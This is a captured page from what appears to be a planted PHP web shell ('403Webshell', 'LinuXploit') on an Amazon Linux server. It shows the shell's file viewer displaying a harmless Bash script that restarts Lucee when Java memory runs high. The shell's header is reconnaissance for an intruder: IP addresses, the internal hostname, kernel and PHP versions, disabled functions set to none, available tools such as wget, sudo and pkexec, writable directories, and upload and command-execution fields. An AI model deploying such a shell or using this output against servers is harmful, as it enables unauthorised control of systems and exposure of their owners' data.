403Webshell
Server IP : 172.67.201.108  /  Your IP : 216.73.216.11
Web Server : Apache/2.4.68 (Amazon Linux) OpenSSL/3.5.5
System : Linux ip-172-31-69-123.ec2.internal 6.1.176-223.369.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Jul 24 13:34:27 UTC 2026 x86_64
User : ec2-user ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /ourscripts/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /ourscripts/check_lucee_mem.sh
#!/bin/bash

export TZ="America/New_York"
logfile="/tmp/check_lucee_mem.log"

# Truncate log if too large
maxlines=10000
keeplines=5000
if [ -f "$logfile" ]; then
    lines=$(wc -l < "$logfile")
    if [ "$lines" -gt "$maxlines" ]; then
        tail -n $keeplines "$logfile" > "${logfile}.tmp" && mv "${logfile}.tmp" "$logfile"
    fi
fi

mem=$(ps -C java -o rss= | awk '{sum+=$1} END {print sum/1024}')
threshold=2500
datetime=$(date '+%Y-%m-%d %H:%M:%S %Z')

echo "$datetime - Java is using $mem MB" >> $logfile

if (( $(echo "$mem > $threshold" | bc -l) )); then
  echo "$datetime - Java is using $mem MB, restarting Lucee..." >> $logfile
  if systemctl restart lucee >> $logfile 2>&1; then
    echo "$datetime - Lucee restart successful" >> $logfile
  else
    echo "$datetime - Lucee restart FAILED" >> $logfile
  fi
fi


Youez - 2016 - github.com/yon3zu
LinuXploit